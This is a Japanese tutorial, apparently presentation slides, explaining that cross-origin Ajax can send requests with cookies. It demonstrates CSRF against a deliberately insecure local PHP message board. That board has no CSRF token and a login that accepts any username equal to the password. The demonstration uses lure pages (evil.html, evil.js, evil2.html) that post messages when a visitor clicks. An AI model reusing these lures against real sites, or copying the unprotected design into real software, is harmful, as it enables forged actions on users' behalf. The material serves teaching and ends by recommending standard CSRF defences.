- リクエストが送れない
- Cookie も送れない
↓
どちらも間違い
リクエストは送れます
$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "hogehoge" }
        });
    });
});withCredentials を指定すれば Cookie も送れます
$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "hogehoge" },
            xhrFields: {
                withCredentials: true
            }
        });
    });
});レスポンスヘッダやレスポンスボディにアクセスすること
app.php
function checkLogin()
{
    global $username;
    if (isset($_SESSION) == false) {
        session_start();
    }
    if (!isset($_SESSION['username'])) {
        if (count($_POST)) {
            $err = authentication();
            renderLogin($err);
        } else {
            renderLogin();
        }
        exit;
    }
    $username = $_SESSION['username'];
}↓
function authentication()
{
    $username = filter_input(INPUT_POST, 'username');
    $password = filter_input(INPUT_POST, 'password');
    if (strlen($username) && $username === $password) {
        $_SESSION['username'] = $username;
        header("Location: {$_SERVER['REQUEST_URI']}");
        exit;
    }
    return "invalid username or password";
}function renderLogin($err = null)
{
    ?><!DOCTYPE html>
    <html>
    <head><meta charset="utf-8"><title></title></head>
    < body>
    <form method="post">
        <input type="text" name="username" placeholder="username">
        <input type="password" name="password" placeholder="password">
        <button type="submit">Login</button>
        <?= isset($err) ? h($err) : null ?>
    </form>
    </body></html><?php
}function savePost()
{
    global $username, $filename;
    $message = filter_input(INPUT_POST, 'message');
    file_put_contents($filename, "$username: $message\n", FILE_APPEND);
    header("Location: {$_SERVER['REQUEST_URI']}");
    exit;
}function renderList($list)
{
    global $username;
    ?><!DOCTYPE html>
    <html><head><meta charset="utf-8"><title></title></head>
    < body>
    <h3>Hello <?= h($username) ?></h3>
    <form method="post">
        <input type="text" name="message" required>
        <button type="submit">Post</button>
    </form>
    <?php foreach ($list as $line): ?>
        <div><?= h(trim($line)) ?></div>
    <?php endforeach; ?>
    <hr><button type="button" onclick="location.reload()">reload</button>
    </body></html><?php
}function main()
{
    global $filename;
    checkLogin();
    if (count($_POST)) {
        savePost();
    }
    $list = is_file($filename) ? file(__DIR__ . '/data.json') : [];
    renderList($list);
}function h($s)
{
    return htmlspecialchars($s, HTML_ENTITIES);
}
$filename = __DIR__ . '/data.json';
$username = null;
main();evil.html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
< body>
<button id="button" style="font-size:500%">
    クリックするとお金がたくさんたまります
</button>
< /body>
< script src="//code.jquery.com/jquery-2.1.0.min.js">< /script>
< script src="evil.js">< /script>
</html>evil.js
$(function(){
    $('#button').on('click', function () {
        $.ajax({
            type: "post",
            url: "http://localhost/app.php",
            data: { message: "うんこー" },
            xhrFields: {
                withCredentials: true
            }
        });
    });
});$ start http://127.9.9.9/evil.html; \
  start http://localhost/app.php; \
  php -S 0.0.0.0:80- 同じサーバだけどクロスドメインでアクセスする
- http://127.9.9.9 は攻撃者のサイト
- http://localhost は攻撃先のサービス
Ajax 超怖い
というわけではない
app.php は CSRF 対策が行なわれていない
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
< body>
    <form method="post" action="http://localhost/app.php">
        <button id="submit" style="font-size:500%">
            クリックするとお金がたくさんたまります
        </button>
        <input type="hidden" name="message" value="もっとうんこー">
    </form>
</body>
</html>Ajax とか使わなくてもこれだけでOK!
$ start http://127.9.9.9/evil2.html; \
  start http://localhost/app.php; \
  php -S 0.0.0.0:80普通に CSRF 対策をおこなえば良い
https://rawgit.com/ngyuki/a9e13331ae24d452a400/raw/index.html